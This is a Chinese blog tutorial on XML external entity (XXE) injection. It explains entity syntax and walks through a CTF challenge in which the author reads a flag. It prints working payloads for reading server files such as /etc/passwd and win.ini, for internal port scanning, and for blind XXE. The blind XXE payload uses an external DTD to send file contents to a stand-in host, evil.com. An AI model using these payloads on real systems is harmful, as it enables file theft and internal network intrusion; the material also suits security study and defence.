0x00前言
早上看到某篇公众号的文章发了一篇XXE漏洞挖到个星巴克,拿到了一手奖金。决定晚上瞧一下这个洞XXE又叫XML外部实体注入(XML External Entity Injection)
简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。
XML基础
在介绍xxe漏洞前,先学习温顾一下XML的基础知识。XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具
<br><!ENTITY 实体名称 <span>"实体的值"</span>><br>外部实体:<br><br><span><span><<span>!ENTITY</span> 实体名称 <span>SYSTEM</span> "<span>URI</span>"></span><br>参数实体:<br><br><span><<span>!ENTITY</span> % 实体名称 "实体的值"></span><br>或者<br><span><<span>!ENTITY</span> % 实体名称 <span>SYSTEM</span> "<span>URI</span>"></span><br>实例演示:除参数实体外实体+内部实体<br><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>?></span></span><br><span><!DOCTYPE a [<br> <!ENTITY name "nMask">]></span><br><span><<span>foo</span>></span><br> <span><<span>value</span>></span>&name;<span></<span>value</span>></span> <br><span></<span>foo</span>></span><br>实例演示:参数实体+外部实体<br><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>?></span></span><br><span><!DOCTYPE a [<br> <!ENTITY % name SYSTEM "file:///etc/passwd"><br> %name;<br>]></span><br>注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。<br><br>由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。<br><br>外部实体<br>外部实体即在DTD中使用<br><br><span><<span>!ENTITY</span> 实体名称 <span>SYSTEM</span> "<span>URI</span>"></span><br>语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?<br>主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:<br><br>实例演示:<br><br><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>?></span></span><br><span><!DOCTYPE a [ //定义一个外部名称<br> <!ENTITY content SYSTEM "file:///etc/passwd">]></span> // SYSTEM "file:///xxxx"用于读取文件<br><span><<span>foo</span>></span> //定义标签 标签名可以随便输入,也可以和外名称对应<br> <span><<span>value</span>></span>&content;<span></<span>value</span>></span> <br><span></<span>foo</span>></span><br><br>得带Content-Type: application/xml头,如果请求头类似于:Content-Type: application/json,那么可以改为Content-Type: application/xml试试有没有xml漏洞<br></span>
这里找来一道CTF的题,BWAPP搭建出来的XXE好像有问题。和文章用一样的操作得出来的结果不符合
QCoD1A.png
题目地址:web.jarvisoj.com:9882
QCoWtg.png
抓包一手得到发现是如下请求的
QCooXq.png
将Content-Type改为Content-Type: application/xml,发送以下内容探测是否存在XXE
<span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?></span></span><br><span><!DOCTYPE sb [<br> <!ENTITY xxe "XXE Test"> //XXE Test是输出的内容 xxe可以为理解为一个变量<br> ]></span><br><span><<span>em</span>></span> //乱取个名就好<br> &xxe; //理解为引用变量地址输出<br><span></<span>em</span>></span> <br>
读取文件测试
QC7EZV.png
读取flag文件
QC72WQ.png
由于这里是py的环境没有办法测试更多
HTTP/1.0 <span>200</span> OK<br><span>Content-Type</span>: text/html; charset=utf-8<br><span>Content-Length</span>: 44<br><span>Server</span>: Werkzeug/0.9.4 Python/2.7.6<br><span>Date</span>: Wed, 27 Nov 2019 15:37:08 GMT<br><br><span><span><em></span><br> <span>CTF</span>{XxE_15_n0T_S7range_Enough}<br><br><span></em></span><br></span>
这里就直接列出来
ML文档是用PHP进行解析的,那么还可以使用php:<span>//filter协议来进行读取。</span><br><br><?xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span>?><br><span><span><!DOCTYPE root [<br><!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini"><br>]></span><br><span><<span>root</span>></span><span><<span>foo</span>></span>&content;<span></<span>foo</span>></span><span></<span>root</span>></span><br><br>端口扫描<br>加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public。<br><br>私有类型DTD加载:<br><br><span><<span>!ENTITY</span> <span>private_dtd</span> <span>SYSTEM</span> "<span>DTD_location</span>"></span><br><br>公共类型DTD加载:<br><br><span><<span>!ENTITY</span> <span>public_dtd</span> <span>PUBLIC</span> "<span>DTD_name</span>" "<span>DTD_location</span>"></span><br>在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。<br><br><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>?></span></span><br><span><!DOCTYPE root [<br> <!ENTITY portscan SYSTEM "http://localhost:3389"><br>]></span><br><span><<span>root</span>></span><span><<span>foo</span>></span>&portscan;<span></<span>foo</span>></span><span></<span>root</span>></span><br><br><br>blind xxe漏洞:<br>对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。<br>利用DTD进行数据回显<br>有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。<br><br> <span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>?></span></span><br> <span><!DOCTYPE root[ <br> <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <br> <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd"> <br> %dtd; <br> %send;]></span><br> <span><<span>root</span>></span><span></<span>root</span>></span><br>evil.dtd<br><br> <span><<span>!ENTITY</span> % <span>payload</span> "<!<span>ENTITY</span> &#<span>x25</span>; <span>send</span> <span>SYSTEM</span> '<span>http:</span>//<span>evil.com</span>/?<span>content</span>=<span>%file;</span>'></span>"><br> %payload;<br>在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容</span>